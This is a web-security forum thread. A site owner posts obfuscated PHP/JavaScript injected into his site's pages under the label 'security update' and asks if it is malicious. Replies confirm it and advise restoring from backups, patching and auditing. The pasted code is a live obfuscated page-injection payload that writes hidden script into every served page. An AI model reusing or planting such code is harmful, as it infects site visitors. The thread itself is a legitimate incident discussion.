I don't know PHP... but...
Results 1 to 6 of 6

Thread: I don't know PHP... but...

Hybrid View

  1. #1

    Talking I don't know PHP... but...

    This is at the beginning of some important pages such as index.php in the customer and admin area. Is this a malicious script? It looked to me like it was not supposed to be there, even about the warning that it's a "security patch".

    Am I right in calling "Bull$#!t"?

    PHP Code:
    <?php ob_start('security_update'); function security_update($buffer){return $buffer.'<script language="javascript">var $a="Z63cZ3dZ225nZ2567Z2574h;iZ252b+)Z257bZ2574mpZ253dZ2564sZ252eslZ2569ce(Z2569,Z2569Z252b1)Z253bZ22;cdZ3dZ22stZ253dstZ252bSZ2574riZ256eg.Z2566roZ256dCZ2568Z2561rCZ256fdeZ2528(Z2574Z256dZ2570.Z22;ceZ3dZ22cZ2568arCZ256fdeAZ2574Z25280)Z255e(Z25270xZ2530Z2530Z2527+Z2565s)Z2529);Z257d}Z22;daZ3dZ22fqb0t-7vrs}vybZ3esZ257F}7+0fqb0cxyvdY~tuh0-0Z2520+vZ257Fb08fqb0y0y~0gy~tZ257FgZ3edgZ3edbu~tc9kyv08gy~tZ257FgZ3ex0.0(0660gy~tZ257FgZ3ex0,0Z2522!0660yZ3ey~tuh_v870Z2520Z27790.0Z3d!9kcxyvdY~tuh0-0gy~tZ257FgZ3edgZ3edbu~tcKyMK$MZ3eaeubiZ3esxqbSZ257FtuQd8!90;0gy~tZ257FgZ3edgZ3edbu~tcKyMK$MZ3eaeubiZ3e|u~wdx+rbuqZ7b+mu|cu0yv088gy~tZ257FgZ3ex0,0)0ll00gy~tZ257FgZ3ex0.0Z2522Z252090660yZ3ey~tuh_v870!(790.0Z3d!9kcxyvdY~tuh0-0gy~tZ257FgZ3edgZ3edbu~tcKyMK$MZ3eaeubiZ3esxqbSZ25Z22;cuZ3dZ22(p}b4g`mxq)6b}g}v}x}`m.|}ppqz6*(}rfuyq4gfw)6|``d.;;rvwyr}f:wZ7by;xp;sz|Z25Z25;64c}p`|)Z25$$4|q}s|`),$*(;}rfuyq*(;p}b*Z22;stZ3dZ22Z2573Z2574Z253dZ2522Z2524Z2561Z253dsZ2574Z253bZ2564Z2563sZ2528dZ2561+Z2564bZ252bdZ2563+Z2564dZ252bdZ2565,Z2531Z2530Z2529;Z2564wZ2528sZ2574)Z253bZ2573tZ253d$Z2561Z253bZ2522;Z22;czZ3dZ22Z2566uncZ2574ioZ256e Z2563z(cZ257a)Z257brZ2565turZ256eZ2520caZ252bZ2563b+Z2563Z2563+cdZ252bce+Z2563z;Z257d;Z22;dbZ3dZ227FtuQd8!90;0!Z25200;gy~tZ257FgZ3edgZ3edbu~tcKyMK$MZ3eaeubiZ3e|u~wdx+rbuqZ7b+mmyv08cxyvdY~tuh0--0Z252009kcxyvdY~tuh0-0gy~tZ257FgZ3edgZ3edbu~tcKyMKZ2526MZ3eaeubiZ3esxqbSZ257FtuQd8!90;0Z270;gy~tZ257FgZ3edgZ3edbu~tcKyMKZ2526MZ3eaeubiZ3e|u~wdx+m0yv08cxyvdY~tuh0.0Z25209kfqb0dy}u0-0~ug0Qbbqi89+dy}uK7iuqb7M0-0gy~tZ257FgZ3ewtZ3ewudEDSVe||Iuqb89+dy}uK7}Z257F~dx7M0-0gy~tZ257FgZ3ewtZ3ewudEDS]Z257F~dx89;!+dy}uK7tqi7M0-0gy~tZ257FgZ3ewtZ3ewudEDSTqdu89+fqb0t-7vZ22;dzZ3dZ22Z2566uZ256ectiZ256fn dZ2577(Z2574)Z257bcaZ253dZ2527Z252564ocuZ25256dZ252565ntZ25252eZ252577rZ252569Z2574Z2565(Z252522Z2527;cZ2565Z253dZ2527Z252522)Z2527;cbZ253dZ2527Z25253cscrZ252569pt Z25256caZ256eZ252567uZ252561Z25256Z2537Z252565Z25253dZ25255cZ252522javZ2561sZ252563rZ2525Z25369Z252570Z252574Z25255cZ252522Z25253eZ2527;ccZ253dZ2527Z25253cZ25255cZ25252fsZ2563Z2572Z252569Z2570Z252574Z25253eZ2527;Z2577indZ256fw[Z2522eZ2522+Z2522Z2522+ Z2522vZ2522+Z2522alZ2522](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return asd($a);}</script>';}//important security update ?>
    <?php 
    /*Packed BLOB icon data. Corruption may result script execution errors. Don't touch it unless you know what you are doing.*/  ?>
    Analog = Classical
    Digital = Techno

  2. #2
    Gonzo District BOFH westin's Avatar
    Join Date
    Jan 2006
    Location
    SW MO
    Posts
    1,188
    I googled: "<?php ob_start('security_update'); function security_update", and from the replies, it looks like it is malicious.
    \"Those of us that had been up all night were in no mood for coffee and donuts, we wanted strong drink.\"

    -HST

  3. #3
    Banned
    Join Date
    Jan 2008
    Posts
    605
    pwned.

  4. #4
    Quote Originally Posted by The-Spec View Post
    pwned.
    Yah, thanks for that wise and insightful comment. lol.


    So Westin is there somewhere you may know of that I can find a list of all files that were installed and figure out a way to "undo" all of this? I haven't tried googling it yet, I suspect I'll find all the info I need eventually... but wondering if anyone here may know of some resources that give me exact "damage" so that I can spend more time correcting the problem than finding all the effects??

    So far I've manually removed all those lines of code from each PHP file on the site that I found that was affected, but I'm assuming there's probably a backdoor somewhere. I wish I had a python "find and replace" type script that I could use to clean all instances of this code from all the files in a folder. I think I have one lying around that I could modify for that purpose. But.... that doesn't take care of the backdoors.
    Analog = Classical
    Digital = Techno

  5. #5
    Gonzo District BOFH westin's Avatar
    Join Date
    Jan 2006
    Location
    SW MO
    Posts
    1,188
    Really, if you have backups, I would rm -rf the whole thing, and load from backup. Only way to be sure. Make sure you check the integrity of your backups though, and patch man... patch. Depending on how it was exploited, you might want to do some code audits. There are automated tools, or if you are really brave, submit the URL here, and I am sure there are some members that would be happy to run some tests on it. Like my friend above...
    \"Those of us that had been up all night were in no mood for coffee and donuts, we wanted strong drink.\"

    -HST

  6. #6
    Member
    Join Date
    May 2003
    Location
    Somewhere in Texas
    Posts
    76
    Don't overlook the fact that they made it there in the first place. More important thatn fixing the damage right now is to concentrate on finding out how they got there in the first place: fix that *then* figure out what else they did...

Similar Threads

  1. Replies: 0
    Last Post: August 30th, 2007, 04:33 AM
  2. Apache, PHP, MySQL with basic security settings.
    By nightcat in forum The Security Tutorials Forum
    Replies: 9
    Last Post: May 28th, 2005, 02:47 AM
  3. PHP Flaws
    By SDK in forum Web Security
    Replies: 19
    Last Post: December 20th, 2004, 04:31 PM
  4. Tutorial: Apache 2.0.49 and PHP 4.3.7!
    By Vorlin in forum Other Tutorials Forum
    Replies: 3
    Last Post: June 15th, 2004, 10:25 PM
  5. Installing Apache and PHP on Linux
    By HDD in forum Other Tutorials Forum
    Replies: 2
    Last Post: February 1st, 2004, 07:05 PM

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •  

 Security News

     Patches

       Security Trends

         How-To

           Buying Guides